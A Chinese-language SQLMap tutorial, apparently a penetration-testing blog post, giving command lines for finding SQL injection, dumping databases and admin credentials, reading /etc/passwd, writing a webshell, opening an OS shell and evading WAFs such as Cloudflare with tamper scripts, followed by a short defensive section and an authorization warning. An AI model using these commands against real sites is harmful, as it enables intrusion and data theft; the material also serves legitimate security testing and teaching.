真正可用的实战教程,全是踩坑经验与干货总结

一、SQLMap到底是什么?能干什么?

SQLMap是目前市面上最成熟的自动化SQL注入工具,Python编写、开源免费,支持 MySQL、Oracle、PostgreSQL、MSSQL、SQLite 等几乎所有主流数据库。

核心能力:

  • 自动检测 GET/POST/Cookie/Header 注入点
  • 识别布尔盲注、时间盲注、报错注入、联合查询注入
  • 枚举数据库、表、字段、数据
  • 读取服务器文件、写入 Webshell
  • 反弹 Shell、执行系统命令
  • 配合 tamper 脚本绕过 WAF

手工半天的工作,SQLMap 几秒可完成,但前提是会用、用对

二、安装与基础配置(5分钟搞定)

2.1 安装方式

  • Kali Linux:系统自带,终端直接执行
1
sqlmap
  • Linux/Mac
1
2
3
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py
  • Windows:GitHub 下载压缩包解压,双击 sqlmap.bat
1
python sqlmap.py -u "http://test.com/page.php?id=1"

出现如下 Logo 即运行成功:

1
2
3
4
5
       __H__
___ ___[.]_____ ___ ___ {1.8.7#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

三、核心命令大全(背下来解决90%场景)

3.1 基础检测

场景 命令
GET 型注入 sqlmap -u "http://test.com/page?id=1"
POST 型注入 sqlmap -u "http://test.com/login" --data="user=admin&pass=123"
指定测试参数 sqlmap -u "http://test.com/page?id=1&cat=2" -p "id"
带 Cookie sqlmap -u "http://test.com/page?id=1" --cookie="PHPSESSID=xxx"
随机 User-Agent sqlmap -u "http://test.com/page?id=1" --random-agent

实测经验:--random-agent 必须加,默认 UA 含 sqlmap,极易被 WAF 拦截。

3.2 数据枚举(核心)

确认注入后按顺序执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. 当前用户
sqlmap -u "http://test.com/page?id=1" --current-user

# 2. 当前数据库
sqlmap -u "http://test.com/page?id=1" --current-db

# 3. 所有数据库
sqlmap -u "http://test.com/page?id=1" --dbs

# 4. 指定库的表
sqlmap -u "http://test.com/page?id=1" -D 数据库名 --tables

# 5. 指定表的字段
sqlmap -u "http://test.com/page?id=1" -D 数据库名 -T 表名 --columns

# 6. 导出数据
sqlmap -u "http://test.com/page?id=1" -D 数据库名 -T 表名 -C 字段1,字段2 --dump

踩坑提醒:--dump 大数据慢,可加 --threads=5 加速,但线程不宜过高,易封 IP。

3.3 高阶玩法

功能 命令
读服务器文件 sqlmap -u "url" --file-read="/etc/passwd"
写 Webshell sqlmap -u "url" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
反弹 Shell sqlmap -u "url" --os-shell
执行自定义 SQL sqlmap -u "url" --sql-query="SELECT * FROM users"
批量测试 sqlmap -m targets.txt

注意:文件读写、os-shell 需要 DBA 权限,并非所有注入点可用。

四、实战案例

案例1:登录框 POST 注入

  1. 抓包为 POST 请求,测试注入点
1
sqlmap -u "http://target.com/login" --data="username=admin&password=123" --level=3
  1. 发现 username 存在布尔盲注
  2. 枚举数据并导出,获取管理员账号密码登录后台

--level=3 会检测 HTTP 头注入,默认 level=1 无法覆盖。

案例2:非主流数据库(ClickHouse)

  • SQLMap 默认不支持,直接提示无注入
  • 手工分析报错与 SQL 结构,确认注入逻辑
  • 使用 --sql-query 执行自定义 ClickHouse 语句,成功脱库

启示:SQLMap 非万能,非主流库需手工分析+自定义 payload

案例3:Swagger 接口注入

  • Swagger 大量 API 未做权限校验
  • 参数带入数据库,构造 ClickHouse 查询成功获取数据
  • Swagger 接口是 SQL 注入重灾区

五、WAF 绕过:Tamper 脚本实战

5.1 常用 Tamper 组合

  1. 关键字过滤(SELECT/UNION)
1
sqlmap -u "url" --tamper=space2comment,equaltolike,between
- `space2comment`:空格替换为 `/**/`
- `equaltolike`:`=` 替换为 `LIKE`
- `between`:比较符替换为 `BETWEEN`
  1. 大小写敏感过滤
1
sqlmap -u "url" --tamper=randomcase,charencode
- `randomcase`:随机大小写(SeLeCt)
- `charencode`:URL 编码
  1. 高强度 WAF(ModSecurity)
1
sqlmap -u "url" --tamper=space2comment,apostrophemask,base64encode --level=3 --risk=2
- `apostrophemask`:单引号编码
- `base64encode`:Payload Base64 编码

5.2 Tamper 使用技巧

  1. 先单独测试,再逐步组合,避免性能骤降
  2. 配合 --level=3 --risk=2 提升检测强度
  3. 先识别 WAF 类型
1
sqlmap -u "url" --identify-waf

5.3 Cloudflare 绕过案例

1
2
3
4
5
6
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,randomcase,charencode \
--random-agent \
--proxy="http://127.0.0.1:8080" \
--level=3 \
--risk=2

配合 Burp 代理调试,成功绕过 Cloudflare。

六、SQLMap 参数深度解析

6.1 Level(1-5)

Level 测试范围 场景
1 GET/POST 参数 快速检测
2 + Cookie 常规测试
3 + User-Agent/Referer 深入测试
4/5 + 更多 HTTP 头 WAF/复杂环境

通用场景 --level=3 足够。

6.2 Risk(激进程度)

Risk 行为 风险
1 常规 Payload 安全
2 OR 1=1 类语句 可能改数据
3 DROP TABLE 类语句 可能删库

生产环境严禁使用 --risk=3

6.3 实用参数

参数 作用
--batch 自动默认选项,不中断
--delay=2 请求间隔2秒,防WAF
--timeout=10 超时10秒
--threads=5 5线程并发
--output-dir=/path 指定结果目录
--flush-session 清空缓存重测

七、常见问题与排坑

7.1 “does not seem to be injectable”

  • 原因:WAF 拦截、无注入、level 过低、JSON/XML 参数未识别
  • 解决:--level=3、指定 --data、加 --tamper、手工验证

7.2 运行中断

  • 原因:WAF 封 IP、网络波动
  • 解决:sqlmap -u "url" --resume 断点续跑

7.3 数据乱码

  • 解决:--dbms=mysql --hex 十六进制输出或指定字符集

7.4 运行太慢

1
sqlmap -u "url" --threads=5 --delay=1 --batch

八、防御视角:如何防 SQLMap

8.1 开发层面

  1. 参数化查询(根本防御)
1
2
3
4
# 危险
cursor.execute("SELECT * FROM users WHERE id = " + user_id)
# 安全
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
  1. 最小权限:应用使用只读账号连接数据库
  2. 屏蔽详细 SQL 错误信息

8.2 运维层面

  1. WAF:拦截 SQLMap 默认 UA、频率限制、开启 SQL 注入规则
  2. 日志监控:异常参数(’、AND 1=1、SLEEP)、高频请求告警
  3. 定期渗透测试

九、写在最后

SQLMap 强大但不是银弹

  • 简单注入:秒出结果
  • 复杂 WAF、非主流数据库、JSON 注入:依赖手工分析+经验

个人测试流程:

  1. Burp 抓包定位参数
  2. 手工初步验证注入
  3. SQLMap 批量跑
  4. 不通则换 tamper / 自定义 payload

重要提醒:所有测试必须在授权范围内进行,无授权扫描属于违法行为,安全行业底线比技术更重要。